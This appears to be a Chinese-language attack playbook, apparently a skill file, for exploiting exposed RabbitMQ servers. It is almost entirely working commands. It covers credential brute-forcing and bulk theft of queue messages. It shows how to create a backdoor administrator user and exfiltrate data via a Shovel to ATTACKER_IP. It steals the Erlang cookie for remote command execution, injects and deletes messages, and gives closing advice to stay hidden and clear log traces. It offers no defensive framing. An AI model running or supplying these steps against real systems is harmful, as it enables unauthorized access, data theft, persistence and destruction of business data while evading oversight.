rabbitmq-tactics
DevOps & SecurityRabbitMQ 未授权访问与利用。当发现目标开放 5672/15672 端口、RabbitMQ Management API 暴露、默认凭据 guest/guest 未修改、或需要从 RabbitMQ 窃取消息数据时使用。覆盖默认凭据攻击、Management API 枚举、队列消息批量导出、Exchange 滥用、用户创建与密码修改、VHost 操控、Shovel/Federation 数据外传、集群信息窃取、Erlang Cookie RCE、消息篡改
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RabbitMQ 未授权访问与利用
RabbitMQ 默认开启 Management Plugin 并使用 guest/guest 凭据(仅限 localhost),但大量实例因配置 loopback_users = none 导致 guest 账户可远程登录——从消息窃取到 Erlang Cookie RCE 只需几步。
深入参考(必读)
- 完整利用命令和 payload → 读 references/attack-techniques.md
Phase 1: 服务发现与端口识别
1.1 端口扫描
# 常用端口:5672(AMQP), 15672(Management UI), 4369(epmd), 25672(集群通信)
nmap -sV -p 5672,15672,4369,25672 TARGET
# AMQP 服务探测
nmap -sV -p 5672 --script amqp-info TARGET
1.2 Management UI 探测
# 检查 Management API 是否可达
curl -s -o /dev/null -w "%{http_code}" http://TARGET:15672/api/overview
# HTTPS 变体
curl -sk -o /dev/null -w "%{http_code}" https://TARGET:15672/api/overview
关键判断:
- 返回 401 → Management API 可达,需要凭据,进入 Phase 2
- 返回 200 → 已有有效认证或无需认证(罕见),直接进入 Phase 3
- 连接失败 → Management Plugin 未启用,尝试 5672 AMQP 直连
- 4369 开放 → epmd 暴露,可枚举 Erlang 节点名
Phase 2: 默认凭据与弱口令检测
2.1 默认凭据
# guest/guest(最常见,默认仅限 localhost,但常被配置为允许远程)
curl -s -u guest:guest http://TARGET:15672/api/overview | jq '.rabbitmq_version'
# admin/admin
curl -s -u admin:admin http://TARGET:15672/api/overview | jq '.rabbitmq_version'
# 批量测试常见凭据
for creds in "guest:guest" "admin:admin" "admin:password" "admin:123456" "rabbitmq:rabbitmq"; do
code=$(curl -s -o /dev/null -w "%{http_code}" -u "$creds" http://TARGET:15672/api/overview)
echo "$creds -> $code"
done
2.2 暴力破解
# Hydra 针对 HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET http-get /api/overview -s 15672
# Nmap HTTP 爆破
nmap -p 15672 --script http-brute --script-args http-brute.path=/api/overview TARGET
关键判断:
- 返回 200 + JSON 数据 → 凭据有效,进入 Phase 3
- 全部 401 → 无弱口令,尝试 AMQP 5672 端口直连或寻找其他入口
Phase 3: 攻击决策树
凭据有效?
├─ Management API 可用 (15672)
│ ├─ 用户具备 administrator tag
│ │ ├─ 枚举队列/Exchange/VHost → 消息批量导出 (Phase 4.1)
│ │ ├─ 创建后门用户 → 持久化访问 (Phase 4.2)
│ │ ├─ 配置 Shovel/Federation → 数据外传到攻击机 (Phase 4.3)
│ │ └─ 读取集群/节点信息 → 横向移动 (Phase 4.4)
│ └─ 用户为普通权限
│ ├─ 读取可访问队列消息
│ └─ 枚举 Exchange 绑定关系
├─ 可访问文件系统
│ ├─ 读取 Erlang Cookie → RCE (Phase 5)
│ └─ 读取 rabbitmq.conf → 获取更多凭据
└─ 仅 AMQP 5672 可达
├─ 用 amqp 客户端连接枚举
└─ 监听消息消费
前置信息收集:
# 获取 RabbitMQ 版本与集群名
curl -s -u USER:PASS http://TARGET:15672/api/overview | jq '{rabbitmq_version, cluster_name, erlang_version}'
# 列出所有用户及其 tag(判断权限等级)
curl -s -u USER:PASS http://TARGET:15672/api/users | jq '.[] | {name, tags}'
# 列出所有 VHost
curl -s -u USER:PASS http://TARGET:15672/api/vhosts | jq '.[].name'
# 列出当前用户权限
curl -s -u USER:PASS http://TARGET:15672/api/permissions | jq '.'
Phase 4: Management API 利用速查
4.1 队列枚举与消息批量导出
# 列出所有队列(关注 messages 字段,非零表示有待消费消息)
curl -s -u USER:PASS http://TARGET:15672/api/queues | jq '.[] | {vhost, name, messages}'
# 从指定队列获取消息(requeue: true 不删除原消息)
curl -s -u USER:PASS \
"http://TARGET:15672/api/queues/%2F/QUEUE_NAME/get" \
-H "content-type: application/json" \
-d '{"count": 100, "requeue": true, "encoding": "auto"}'
# 批量导出所有队列消息
for queue in $(curl -s -u USER:PASS http://TARGET:15672/api/queues | jq -r '.[].name'); do
echo "=== Queue: $queue ==="
curl -s -u USER:PASS \
"http://TARGET:15672/api/queues/%2F/$queue/get" \
-H "content-type: application/json" \
-d '{"count": 10000, "requeue": true, "encoding": "auto"}'
done > rabbitmq_messages_dump.json
4.2 用户创建与权限操控
# 创建 administrator 用户
curl -u USER:PASS -X PUT \
http://TARGET:15672/api/users/backdoor \
-H "content-type: application/json" \
-d '{"password": "P@ssw0rd!", "tags": "administrator"}'
# 授予全部权限(对 / VHost)
curl -u USER:PASS -X PUT \
"http://TARGET:15672/api/permissions/%2F/backdoor" \
-H "content-type: application/json" \
-d '{"configure": ".*", "write": ".*", "read": ".*"}'
# 修改已有用户密码
curl -u USER:PASS -X PUT \
http://TARGET:15672/api/users/admin \
-H "content-type: application/json" \
-d '{"password": "newP@ss", "tags": "administrator"}'
4.3 Shovel/Federation 数据外传
# 创建 Shovel:将目标队列消息实时转发到攻击机
curl -u USER:PASS -X PUT \
"http://TARGET:15672/api/parameters/shovel/%2F/exfil-shovel" \
-H "content-type: application/json" \
-d '{
"value": {
"src-uri": "amqp://localhost",
"src-queue": "sensitive-queue",
"dest-uri": "amqp://ATTACKER_IP",
"dest-queue": "stolen-data"
}
}'
# 创建 Federation Upstream:镜像目标 Exchange
curl -u USER:PASS -X PUT \
"http://TARGET:15672/api/parameters/federation-upstream/%2F/attacker-upstream" \
-H "content-type: application/json" \
-d '{
"value": {
"uri": "amqp://ATTACKER_IP",
"prefetch-count": 1000
}
}'
4.4 集群与节点信息
# 节点列表(获取主机名、Erlang 版本、内存使用)
curl -s -u USER:PASS http://TARGET:15672/api/nodes | jq '.[] | {name, erlang_version, mem_used}'
# 当前连接(获取客户端 IP、用户名)
curl -s -u USER:PASS http://TARGET:15672/api/connections | jq '.[] | {peer_host, peer_port, user}'
# 通道信息
curl -s -u USER:PASS http://TARGET:15672/api/channels | jq '.[] | {connection_details, user}'
→ 完整 API 端点与 payload → 读 references/attack-techniques.md
Phase 5: Erlang Cookie RCE 速查
5.1 获取 Erlang Cookie
# 常见路径
cat /var/lib/rabbitmq/.erlang.cookie
cat /home/rabbitmq/.erlang.cookie
cat ~/.erlang.cookie
# 环境变量
env | grep -i erlang
5.2 利用 Cookie 执行命令
# 使用窃取的 Cookie 连接到目标节点
# 获取节点名(从 Management API 或 epmd)
epmd -names # 在 4369 端口查询
# 通过 Erlang 远程调用执行命令
erl -sname attacker -setcookie STOLEN_COOKIE -remsh rabbit@TARGET_HOSTNAME
# 在 Erlang shell 中执行系统命令
> os:cmd("id").
> os:cmd("cat /etc/passwd").
> os:cmd("whoami").
# 或通过 rabbitmqctl 远程管理
RABBITMQ_ERLANG_COOKIE=STOLEN_COOKIE rabbitmqctl -n rabbit@TARGET_HOSTNAME cluster_status
RABBITMQ_ERLANG_COOKIE=STOLEN_COOKIE rabbitmqctl -n rabbit@TARGET_HOSTNAME eval 'os:cmd("id").'
关键判断:
- Erlang Cookie 一致 → 可获得 RCE,权限等同于 RabbitMQ 进程用户
- Cookie 不匹配 →
PROTOCOL_ERROR/ 连接拒绝,无法利用
→ 读 references/attack-techniques.md 获取完整 Erlang 利用细节
Phase 6: Exchange 滥用与消息篡改
6.1 Exchange 枚举
# 列出所有 Exchange
curl -s -u USER:PASS http://TARGET:15672/api/exchanges | jq '.[] | {vhost, name, type}'
# 查看 Exchange 绑定关系
curl -s -u USER:PASS \
"http://TARGET:15672/api/exchanges/%2F/EXCHANGE_NAME/bindings/source" | jq '.'
6.2 消息注入
# 向 Exchange 发布消息(可干扰业务逻辑)
curl -u USER:PASS \
"http://TARGET:15672/api/exchanges/%2F/EXCHANGE_NAME/publish" \
-H "content-type: application/json" \
-d '{"routing_key": "target.key", "payload": "injected_data", "payload_encoding": "string", "properties": {}}'
6.3 消息篡改与删除
# 消费消息(不重新入队 = 删除)
curl -s -u USER:PASS \
"http://TARGET:15672/api/queues/%2F/QUEUE_NAME/get" \
-H "content-type: application/json" \
-d '{"count": 1, "requeue": false, "encoding": "auto"}'
# 清空队列
curl -X DELETE -u USER:PASS \
"http://TARGET:15672/api/queues/%2F/QUEUE_NAME/contents"
# 删除整个队列
curl -X DELETE -u USER:PASS \
"http://TARGET:15672/api/queues/%2F/QUEUE_NAME"
→ 读 references/attack-techniques.md 获取消息篡改完整流程
工具速查
| 工具 | 用途 |
|---|---|
| curl + Management API | 所有 HTTP API 操作的基础 |
| rabbitmqadmin | RabbitMQ 官方 CLI 管理工具 |
| amqp-tools (amqp-publish/amqp-consume) | AMQP 协议直连收发消息 |
| pika (Python) | Python AMQP 客户端,编写自动化脚本 |
| hydra | HTTP Basic Auth 爆破 |
| nmap amqp-info | AMQP 服务信息收集 |
| epmd | Erlang 端口映射,枚举节点名 |
| erl | Erlang shell,配合 Cookie 实现 RCE |
注意事项
guest/guest默认仅允许 localhost 连接,远程可用说明已配置loopback_users = none- 消息获取时
requeue: false会永久消费消息,生产环境慎用(推荐requeue: true) - Shovel/Federation 配置后消息实时转发,流量可能被网络监控捕获
- Erlang Cookie 通常为固定字符串,集群内所有节点共享同一 Cookie
%2F是 URL 编码的/,代表默认 VHost,API 调用中必须使用编码形式- 创建后门用户和 Shovel 会在 Management UI 中可见,注意隐蔽性
- rabbitmqctl 操作记录在 RabbitMQ 日志中,注意清理痕迹